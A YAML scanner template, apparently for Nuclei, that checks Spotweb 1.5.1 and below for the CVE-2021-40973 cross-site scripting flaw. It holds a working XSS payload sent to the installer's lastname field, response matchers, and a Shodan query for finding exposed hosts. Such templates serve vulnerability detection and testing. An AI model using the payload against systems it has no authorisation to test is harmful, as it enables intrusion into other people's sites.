51 lines
1.3 KiB
YAML
51 lines
1.3 KiB
YAML
|
id: CVE-2021-40973
|
||
|
|
||
|
info:
|
||
|
name: Spotweb <= 1.5.1 - Cross Site Scripting
|
||
|
author: theamanrawat
|
||
|
severity: medium
|
||
|
description: |
|
||
|
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter.
|
||
|
remediation: Fixed in version 1.5.2
|
||
|
reference:
|
||
|
- https://github.com/spotweb/spotweb/
|
||
|
- https://github.com/spotweb/spotweb/issues/711
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40973
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
||
|
cvss-score: 6.1
|
||
|
cve-id: CVE-2021-40973
|
||
|
cwe-id: CWE-79
|
||
|
metadata:
|
||
|
max-request: 1
|
||
|
verified: "true"
|
||
|
shodan-query: title:"SpotWeb - overview"
|
||
|
tags: cve,cve2021,xss,spotweb
|
||
|
|
||
|
http:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /install.php?page=4 HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
settingsform[lastname]=pdteam'+onclick='alert(document.domain)
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- "onclick='alert(document.domain)"
|
||
|
- "Spotweb"
|
||
|
condition: and
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- "text/html"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|